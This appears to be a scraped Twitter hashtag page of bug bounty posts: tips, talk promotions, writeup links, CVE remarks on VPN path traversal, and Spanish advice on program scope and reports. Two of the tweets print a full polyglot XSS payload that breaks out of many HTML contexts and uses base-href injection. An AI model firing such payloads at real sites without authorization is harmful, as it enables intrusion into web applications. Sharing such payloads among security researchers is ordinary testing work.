#bugounty - Twitter Hashtag

about 2 years ago

why the fuck SSL VPN softwares are vulnerable to path traversal in the body lol. CVE-2024-24919 Check Point Remote Access https://t.co/hCdjA0RTB3 #infosec #bugounty #cyberattack I feel like these are backdoors, not bugs LOL

H4x0r.DZ 🇰🇵

@h4x0r_dz

over 2 years ago

why the fuck SSL VPN softwares are vulnerable to path traversal in the Cookie lol. CVE-2024-3400 GlobalProtect

2

154

11

31

106K

19

648

119

289

214K

Seke4l @seke4l

almost 3 years ago

uses that #XSS: JavaScript://%250Aconfirm?.(1)/ /*'/*\'/*"/*\"/*`/*\`/*%26apos;)/*</Title/</Style/</Script/</textArea/<iFrame/ </noScript>\74k<K/contentEditable/autoFocus/ OnFocus=/*${/*/;{/**/(confirm)(1)}//> <Base/Href=//X55.is\76> #cybersecurity #pentest #bugounty

KNOXSS @KN0X55

almost 3 years ago

Our Flash Mode uses that #XSS: JavaScript://%250Aconfirm?.(1)/ /*'/*\'/*"/*\"/*`/*\`/*%26apos;)/*</Title/</Style/</Script/</textArea/<iFrame/ </noScript>\74k<K/contentEditable/autoFocus/ OnFocus=/*${/*/;{/**/(confirm)(1)}//> <Base/Href=//X55.is\76> 😎👇🏾 https://t.co/QLSgROn1pd

2

89

13

38

7K

0

28

5

6

1K

HK @Harsh66071

over 3 years ago

Reported first time triaged in 2 hours ✅ Also thank you @GodfatherOrwa one of your tweet help me out to find this 🙏 #bugbountytips #bug #bugounty m

Harsh66071's tweet photo. Reported first time triaged in 2 hours ✅
Also thank you @GodfatherOrwa one of your tweet help me out to find this 🙏

#bugbountytips #bug #bugounty m https://t.co/5h0IIL4lK9

5

60

2

6

5K

Securzy @SecurzyHQ

over 4 years ago

⏰⏰⏰ Few hours to go! ⏰⏰⏰ join @harshbothra_'s talk on Account Takeover Methodology! Attend for free at https://t.co/jmd6t7bpkY #bugounty #infosec #bugbountytips #Pentesting #appsec #100DaysOfHacking

SecurzyHQ's tweet photo. ⏰⏰⏰ Few hours to go! ⏰⏰⏰ join @harshbothra_'s talk on Account Takeover Methodology! Attend for free at https://t.co/jmd6t7bpkY #bugounty #infosec #bugbountytips #Pentesting #appsec #100DaysOfHacking https://t.co/davzssi50t

2

35

7

5

0

Omar Espino • @omespino

over 4 years ago

#writeup SLACK Bug Bounty: XSS stored in https://t.co/TY4h743juJ via XML/SVG file (iOS) - 1,000 USD A short story about why should always try basic payloads, you will be surprised that sometimes will work https://t.co/59H3HnRDwA #Bugounty #infosec

omespino's tweet photo. #writeup SLACK Bug Bounty: XSS stored in https://t.co/TY4h743juJ via XML/SVG file (iOS) - 1,000 USD

A short story about why should always try basic payloads, you will be surprised that sometimes will work

https://t.co/59H3HnRDwA

#Bugounty #infosec https://t.co/hn6ZWYPPpA

2

205

49

43

0

epicbounties @epicbounties

almost 5 years ago

Las claves de seguridad 🔐🖥 #bugounty #bugbountytip

0

3

1

0

epicbounties @epicbounties

almost 5 years ago

¡Hunter, atento! 👀 Recuerda que, si se envía una vulnerabilidad de un activo fuera de alcance, dentro de una plataforma de bug bounty, no habrá ninguna recompensa por saltarse las normas. #bugounty #bugbountytip

epicbounties's tweet photo. ¡Hunter, atento! 👀 Recuerda que, si se envía una vulnerabilidad de un activo fuera de alcance, dentro de una plataforma de bug bounty, no habrá ninguna recompensa por saltarse las normas.

#bugounty #bugbountytip https://t.co/EOhZa3w6xo

0

1

0

epicbounties @epicbounties

almost 5 years ago

¿Quieres hacer unos informes de vulnerabilidades de 10? Te damos unos consejos que te serán muy útiles. 1. Títulos descriptivos. 2. Estructura uniforme donde esté la URL del sitio afectado #bugounty #bugbountytip

epicbounties's tweet photo. ¿Quieres hacer unos informes de vulnerabilidades de 10? Te damos unos consejos que te serán muy útiles.

1. Títulos descriptivos.
2. Estructura uniforme donde esté la URL del sitio afectado
#bugounty #bugbountytip https://t.co/iAOOGnIFqX

1

33

9

8

0

epicbounties @epicbounties

almost 5 years ago

😎💰 #bugounty #bugbountytip

0

49

20

1

0

epicbounties @epicbounties

almost 5 years ago

Antes de enviar cualquier vulnerabilidad, debes revisar bien el programa de bug bounty. Solo se pueden enviar vulnerabilidades confirmadas y bien documentadas. 👨‍💻 #bugounty #bugbountytip

epicbounties's tweet photo. Antes de enviar cualquier vulnerabilidad, debes revisar bien el programa de bug bounty. Solo se pueden enviar vulnerabilidades confirmadas y bien documentadas. 👨‍💻

#bugounty #bugbountytip https://t.co/DmXx9Bmedp

0

13

5

1

0

epicbounties @epicbounties

almost 5 years ago

Los programas de bug bounty cuentan con indicaciones de qué tipo de vulnerabilidades son calificables y que vulnerabilidades no los son, y eso es crítico. Una vulnerabilidad no calificable va a restar puntos. #bugounty #bugbountytip

epicbounties's tweet photo. Los programas de bug bounty cuentan con indicaciones de qué tipo de vulnerabilidades son calificables y que vulnerabilidades no los son, y eso es crítico.

Una vulnerabilidad no calificable va a restar puntos.

#bugounty #bugbountytip https://t.co/MDG71IP73t

0

3

1

0

epicbounties @epicbounties

almost 5 years ago

Si estás empezando en el mundo del bug bounty, entra en el apartado de “disclosure” de estas plataformas, ya que una de las mejores formas de aprender es ver cómo lo hacen otras personas. 👥 #bugounty #bugbountytip

epicbounties's tweet photo. Si estás empezando en el mundo del bug bounty, entra en el apartado de “disclosure” de estas plataformas, ya que una de las mejores formas de aprender es ver cómo lo hacen otras personas. 👥

#bugounty #bugbountytip https://t.co/qNPL29XdSE

0

15

3

0

Niraj Dhalani @niraj_dhalani

almost 5 years ago

@Alra3ees Need this vul.. resources CRLF LDAP injection Http request smuggling Session related vulnerability Zipslip vulnerability Parameter pollution Web cache poisoning Xxe Nosql #bugbountytips #bugounty #webappsec

1

2

0

Surya naryn 🇮🇳 @surya_naryn_

over 5 years ago

Quickly i learned about websockets easily 😍 #bugounty #bugbountytips #infosec “A Pentester’s Guide to WebSocket Pentesting” by Busra Demir https://t.co/sxoWhzQ0F6

0

3

1

3

0